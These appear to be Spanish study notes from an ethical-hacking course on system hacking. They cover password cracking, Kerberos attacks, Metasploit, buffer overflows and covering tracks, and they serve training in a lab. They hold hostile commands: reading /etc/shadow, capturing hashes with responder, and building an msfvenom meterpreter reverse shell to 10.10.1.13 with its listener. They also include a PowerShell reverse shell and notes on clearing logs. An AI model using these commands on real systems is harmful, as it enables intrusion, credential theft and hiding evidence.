Ethical Hacker : sesión 2

clase

- Modulo 06

Modulo 06, apuntes

Modulo 06

sección 1

- hash
  - linux con salt
    - `tail -n 1 /etc/shadow | cut -f2 -d: | tr «$» «\n»`
      - 3 campos: algoritmo usado, salt, hash contraseña
  - windows sin salt
    - fichero binario
    - tablas rainbow → precalculado hash para diferentes combinaciones de caracteres
    - `pwdump7`
    - https://gchq.github.io/CyberChef/
- https://password.kaspersky.com/es/ ← ojo con la información compartida
- Microsoft: NTLM Authentication
  - hash contraseña cifra un texto aleatorio enviado por el servidor.
  - servidor recibe y descifra con el hash de la contraseña que tiene almacenada y si el texto es el mismo, todo OK
- Microsoft: Kerberos Auth
  - maquinas, usuarios, aplicaciones → perro Kerberos de 3 cabezas
  - Autenticar (método anterior) usuario (AS - Authentication Server)
  - generador de tiquets (TGS - Ticket Granting Server)
    - duración limitada
    - solicitado para acceso a servicios...
- Password craking
  - ataques no electrónicos
  - ataques online activos
  - ataques online pasivos (escuchas)
  - ataques offline (rainbow...)
- Ataques online activos
  - https://www.hivesystems.com/blog/are-your-passwords-in-the-green (tiempo en reventar pass)
  - diccionario: trabajo previo de recabar información, lista de palabras
    - https://blog.segu-info.com.ar/2024/07/rockyou2024-10-mil-millones-de.html (contraseñas filtradas)
      - https://github.com/RickdeJager/stegseek
  - fuerza bruta
  - por reglas
  - pregunta de seguridad
- Envenenamiento LLMNR (DNS) /NBT-NS (NETBIOS) (Windows)
  - solución: deshabilitar
- Ataques a Kerberos

    - AS-REP
    - Kerberoasting (Cracking TGS)
    - Pass the ticket attack
    - NTLM Relay
- SSH Brute force con shellgpt
- Spray de passwords
    - después de obtener un listado de passwords, atacar con contraseñas habituales para tener un pie dentro
- Password-cracking tools:
    - l0phtCrack
    - THC-Hydra
- EXAM: tener claro el caso de uso de las herramientas de la documentación
- EXTRA: UNICODE Linux: CRT+SHIFT u, XXXX
    - https://unicodeplus.com/
- Windows `systeminfo`
    - python wes systeminfo.txt
- Metasploit Framework (MSF)
    - muy modular
    - interfaces: msf* (casi todas)
    - Modulos:
        - Exploit: base para crear uno
        - Payload: comunicación
        - Auxiliary
        - NOPS: instrucciones que no hacen nada (overflow)
        - Encoder: codificar para evitar detección
        - Evasion: modificar características para no ser detectado
        - Post-exploitation: interactuar maquina comprometida
- Nebula
- DeepExploit

- Buffer Overflow
    - malloc - asignación memoria dinámica en C
        - C y Rust
    - Stack (pila) - LiFo
        - registro EIP - dirección de retorno, cambiar para ejecutar codigo malicioso
        - error de segmentation fault
    - Heap (montón) - FiFo
        - error malloc(): corrupted top size
- `readerlf –headers /usr/sbin/sshd` ← leer formato ELF
- `xxd`: volcado HEX fichero
- Windows Buffer Overflow Explotation
    - Perform Spiking: paquetes TCP/UDP manipulados para detectar aplicaciones o servidores
    - Perform Fuzzing: gran cantidad de datos aleatorios. Averiguar los bytes requeridos para ajustar la modificación del EIP
    - Identificar Offset
        - se cargan en zonas aleatorias de memoria para evitar que esten «localizables» (incluso lo mueven cada x minutos)
    - Identify bad characters
    - Identificar el módulo adecuado (modulos no protegidos)
- ROP attack
- Mecanismos de seguridad ASLR / DEP
    - ASLR: cargar en zonas de memoria aleatoria
    - DEP: prevención de ejecución de datos (declarado como datos y no como ejecutable)
    - JIT Spraying
- Bloodhound: mapea un AD, relación de recursos de un AD

sección 2: escalada de privilegios

- si no se especifica el path completo de la libreria, se puede colocar una maligna en un directorio con prioridad de path
- Spectre / Meltdown: ejecución especulativa: calcula posibles respuestas para adelantarse a la respuesta «humana»
  - malignamente se puede mirar esas respuestas almacenadas temporalmente para obtener información, se puede leer desde cualquier hilo
  - `spectre-meltdown-checker.sh` → https://github.com/speed47/spectre-meltdown-checker
- pipe
  - `mkfifo`
- pivoting and relaying, movimiento lateral
- UAC = User Account Control
- Abusar de Boot o Logon al inicializar
- `curl ipconfig.io`
- ADCS: gestor de claves y certificados en AD

sección 3: ocultar huellas

- pentesting: documentar todo, dentro del ámbito contratado, no se oculta nada.
- programas maliciosos: ...
  - keylogger
  - spyware:
    - avast antivirus free tenía spyware - recopilatorio de información
    - norton grauito (avisando): minado de cripto
- rootkits
  - reinstalar BIOS, reinstalar OS
- NTFS Data Stream (o Alternate Data Stream)
  - `notepad myfile.txt:otros-datos.txt` ← `dir /R`
  - en linux la partición ha de estar montada con ()
  - `streamdetector`
- Esteganografia: es la práctica de ocultar información dentro de otro mensaje u objeto físico para evitar su detección
  - `snow`
  - EXAM: métodos de detección
- Sticky Keys:
  - cinco pulsaciones shift
  - sustituir el ejecutable para colocar otra cosa e invocarlo así
- Ejecución remota
  - DPAPI: protección API
  - `krptgt`
  - Ataque llave maestra (skeleton key attack)
  - Golden ticket attack (cualqier ticket)
  - Silver ticket attack (para usuario concreto)
  - ..
  - WMI
- Linux, comandos

sección 04: ocultar

- auditpol: cambio auditorias
- borrar logs
  - manual o script
  - instalar o desinstalar en windows tiene más privilegios que un admin

        - utiliza ADS (alternate data stream) para guardar desde donde lo he descargado
- Registro Windows MRU (Most Recently Used)
- `history`

Lab 1: Sytem hacking

task 1: Gain Access to the System

1. `sudo responder -I eth0` → capturar hash máquina W11 en txt → hash.txt
2. `john hash.txt` → desencripta la contraseña del hash

task 2: Gain Access to a Remote System using Reverse Shell Generator

cmd

- `docker run -d -p 80:80 reverse_shell_generator`
- http://localhost
    - IP, Port, MSFVenom → genera instrucción: `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.1.13 LPORT=4444 -f exe -o reverse.exe`
    - se genera un EXE - payload (que hemos de conseguir que ejecute la víctima)
    - generamos la instrucción para escuchar el payload, en la sección LISTENER, modo **msfconsole**
        - `msfconsole -q -x «use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.1.13; set lport 4444; exploit»`
    - ejecutamos el listener, ejecutamos el payload
        - `getuid`

powershell

- http://localhost
    - HoaxShell → PowerShell IEX → cambiar puerto en el script generado por 444
    - copiar y guardar en shell.ps1
    - ir a la sección **listener** y generar para HoaxShell (puerto 444)
    - ejecutar instrucción generada con sudo: `sudo python…`
    - ejecutamos en un powershell subido a Administrador el script .ps1

Task 3: Perform Buffer Overflow Attack to Gain Access to a Remote System

- ejecutar como administrador `vulnserver` (buffer overflow tools)
- instalar **ImmunityDebugger_1_85_setup.exe** (y Python 2.7)
- ejecutar como administrador
    - File → Attach → vulnserver ← pausado
    - Icono PLAY
- en Linux, ejecutamos `nc -nv 10.10.1.11 9999`
    - HELP nos lista los comandos disponibles
    - QUIT para salir
    - creamos un «spike template» → `pluma stats.spk`:

```
s_readline();

s_string("STATS ");

s_string_variable("0");
```

- `generic_send_tcp 10.10.1.11 9999 stats.spk 0 0`
  - los dos últimos ceros son SKIPVAR y SKIPSTR
- ejecuta y podemos ver en ImmunityDebugger que la opción STAT no es vulnerable
- Se hace lo mismo cambiando **STAT** por **TRUN**
- PENDIENTE

lab 2: Perform Privilege Escalation to Gain Higher Privileges

Task 1: Escalate Privileges by Bypassing UAC and Exploiting Sticky Keys